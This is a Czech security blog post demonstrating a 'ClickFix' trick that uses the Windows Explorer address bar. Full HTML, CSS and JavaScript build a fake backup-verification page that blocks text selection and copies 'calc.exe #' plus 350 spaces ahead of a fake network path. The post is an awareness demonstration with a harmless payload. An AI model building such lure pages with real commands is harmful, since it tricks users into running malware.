ClickFix aneb cesta je cíl

Průzkumník souborů ve Windows nabízí více funkcí, než si většina uživatelů uvědomuje. Kromě běžné navigace mezi složkami umožňuje také spouštění programů přímo z adresního řádku. Pokud uživatel například zadá powershell.exe, nejde o chybu, ale o očekávané chování. Průzkumník předá zadaný text operačnímu systému, a pokud odpovídá názvu spustitelného souboru nebo příkazu dostupného v systémové cestě, Windows jej automaticky spustí.

powershell
powershell2

Tuto vlastnost však lze zneužít v kombinaci se sociálním inženýrstvím. Stačí, aby uživatel do adresního řádku vložil předem připravený text, který na první pohled působí například jako síťová cesta, ve skutečnosti však obsahuje i spustitelný příkaz.

Ověření přístupu k síťové záloze – scénář

Scénář začíná webovou stránkou, která se tváří jako běžný interní návod například výzva ke kontrole přístupu k síťové záloze. Uživatel je na ní vyzván, aby zkopíroval zobrazenou cestu a vložil ji do adresního řádku Průzkumníka souborů za účelem ověření dostupnosti. Tato cesta na první pohled skutečně působí jako standardní UNC adresa.

aplikace

Po kliknutí na tlačítko "Zkopírovat" se však do schránky neuloží pouze uvedená síťová cesta. Na jejím začátku je nenápadně připojen příkaz calc.exe, za kterým následuje více než 300 mezer. Ty vizuálně oddělují příkaz od zbytku textu, takže si uživatel ničeho podezřelého nevšimne. Když následně celý řetězec vloží do adresního řádku Průzkumníka a stiskne Enter, systém spustí Kalkulačku.

Text, který se uloží do schránky uživatele po kliknutí na tlačítko "Zkopírovat":

calc.exe#                                                                                                                                                                                                                                                                                                                                                              \\aricoma.local\zaloha_za_rok_2024_2025\ucetni_oddeleni\Praha\Voctarova\2025\Q3\Archiv\Složka123\Protokoly\Exporty\SouboryZOblastiDanoveKontroly\Listopad2025\Revize

Vložený text v Průzkumníku souborů:

pru_powershell

Po stisknutí klávesy Enter:

calc

Způsob volby síťové cesty

Dlouhá síťová cesta hraje v tomto scénáři klíčovou roli. Nejenže pomáhá zakrýt škodlivý příkaz na začátku řetězce, ale zároveň vytváří důvěryhodný dojem legitimního firemního obsahu. Pokud text obsahuje známé názvy oddělení, měst, dat nebo jiných interních prvků, uživatel nemá důvod pochybovat. A čím delší cesta je, tím menší je pravděpodobnost, že si všimne podezřelého úvodu.

Uživatel navíc často jedná mechanicky zkopíruje text, vloží jej do Průzkumníka a stiskne Enter, aniž by se nad tím zamyslel.

Zákaz ručního kopírování

Aby byla technika spolehlivá, je nutné zabránit tomu, aby si uživatel text označil a kopíroval ručně. Kdyby tak učinil, zkopíroval by pouze cestu bez našeho příkazu. Proto je v HTML stránce záměrně zablokováno označování textu jak pomocí CSS, tak pomocí JavaScriptu.

.code-block {
  user-select: none;
}
const block = document.getElementById('codeBlock');
block.addEventListener('mousedown', e => e.preventDefault());
block.addEventListener('selectstart', e => e.preventDefault());

Uživatel tak nemůže cestu označit ručně a je nucen použít tlačítko "Zkopírovat". Díky tomu má útočník plnou kontrolu nad obsahem, který se uloží do schránky.

Příklad HTML implementace

Níže je HTML kód stránky, který demonstruje tuto techniku:

<!DOCTYPEhtml>
<htmllang="cs">
<head>
<metacharset="UTF-8">
<title>Ověřenípřístupukzáloze</title>
<metaname="viewport"content="width=device-width, initial-scale=1">
<linkrel="stylesheet"href="style.css">
</head>
<body>

<divclass="container">
<h1>Ověřenípřístupuksíťovémuúložišti</h1>
<pclass="intro">
Vrámciaktualizacezálohovacíinfrastrukturyjepotřebaověřitpřístupvšechuživatelůknovémusíťovémuumístění.
</p>

<divclass="step">
<h2>1.Zkopírujteadresuúložiště</h2>
<divclass="code-block"id="codeBlock">
\\aricoma.local\zaloha_za_rok_2024_2025\ucetni_oddeleni\Praha\Voctarova\2025\Q3\Archiv\Složka123\Protokoly\Exporty\SouboryZOblastiDanoveKontroly\Listopad2025\Revize
</div>
<divclass="copy-btn-wrapper">
<buttonclass="copy-btn"onclick="copyText()">📋Zkopírovat</button>
</div>
<divclass="notice"id="copiedNotice">✔️Adresabylazkopírovánadoschránky.</div>
</div>

<divclass="step">
<h2>2.OtevřetePrůzkumníksouborů</h2>
<p>Stiskněte<strong>Win+E</strong>nebokliknětenatlačítkoníže.</p>
</div>

<divclass="step">
<h2>3.Vložtezkopírovanouadresudohornílišty</h2>
<p>VložteadresudohornílištyapotvrďteklávesouEnter.</p>
</div>

<divclass="file-btn-wrapper">
<labelclass="file-btn-label"for="fileExplorer">OtevřítPrůzkumník</label>
<inputtype="file"id="fileExplorer">
</div>
</div>

<scriptsrc="script.js"></script>
</body>
</html>

Kód ze souboru script.js:

const block = document.getElementById('codeBlock');
block.addEventListener('mousedown', e => e.preventDefault());
block.addEventListener('selectstart', e => e.preventDefault());

function copyText() {
  const command = "calc.exe #";
  const path = "\\\\aricoma.local\\zaloha_za_rok_2024_2025\\ucetni_oddeleni\\Praha\\Voctarova\\2025\\Q3\\Archiv\\Složka123\\Protokoly\\Exporty\\SouboryZOblastiDanoveKontroly\\Listopad2025\\Revize";
  const mask = ' '.repeat(350);
  const payload = command + mask + path;

  const textarea = document.createElement("textarea");
  textarea.value = payload;
  textarea.style.position = "fixed";
  textarea.style.opacity = "0";
  document.body.appendChild(textarea);
  textarea.select();
  document.execCommand("copy");
  document.body.removeChild(textarea);

  const notice = document.getElementById("copiedNotice");
  notice.style.display = "block";
  setTimeout(() => notice.style.display = "none", 4000);
}

Ukázka obsahu souboru style.css:

body {
  margin: 0;
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background-color: #f7f7f7;
  color: #2e2e2e;
}

.container {
  max-width: 800px;
  margin: 50px auto;
  padding: 30px;
  background-color: #fff;
  border-radius: 8px;
  box-shadow: 0 4px 14px rgba(0,0,0,0.06);
}

h1 {
  font-size: 24px;
  margin-bottom: 15px;
  color: #444;
}

.intro {
  color: #333;
  margin-bottom: 30px;
  line-height: 1.6;
  font-size: 15.5px;
}

.step {
  margin-bottom: 30px;
}

.step h2 {
  font-size: 18px;
  margin-bottom: 10px;
  color: #222;
}

.code-block {
  background-color: #eee;
  padding: 20px;
  border-radius: 6px;
  font-family: Consolas, monospace;
  font-size: 14px;
  user-select: none;
  white-space: pre-wrap;
  word-wrap: break-word;
  overflow: hidden;
  color: #333;
}

.copy-btn-wrapper {
  text-align: right;
  margin-top: 10px;
}

.copy-btn {
  background: #444;
  border: none;
  color: white;
  padding: 10px 16px;
  font-size: 14px;
  border-radius: 5px;
  cursor: pointer;
}

.copy-btn:hover {
  background-color: #222;
}

.notice {
  margin-top: 8px;
  color: green;
  font-size: 14px;
  display: none;
}

.file-btn-wrapper {
  margin-top: 20px;
  display: flex;
  justify-content: center;
}

.file-btn-label {
  display: inline-block;
  padding: 12px 24px;
  background-color: #444;
  color: white;
  border-radius: 5px;
  cursor: pointer;
  font-size: 15px;
  transition: background 0.3s ease;
}

.file-btn-label:hover {
  background-color: #222;
}

input[type="file"] {
  display: none;
}

Závěr

Není těžké si představit, jak by tato technika mohla být zneužita k tomu, aby uživatel nevědomky spustil škodlivý příkaz. Proto je důležité nevěřit automaticky všemu, co kopírujeme a vkládáme, i když to vypadá jako běžná síťová cesta nebo interní odkaz. Vždy je lepší být obezřetný, pečlivě kontrolovat zdroje a nepřijímat obsah z neznámých či nedůvěryhodných míst bez rozmyslu.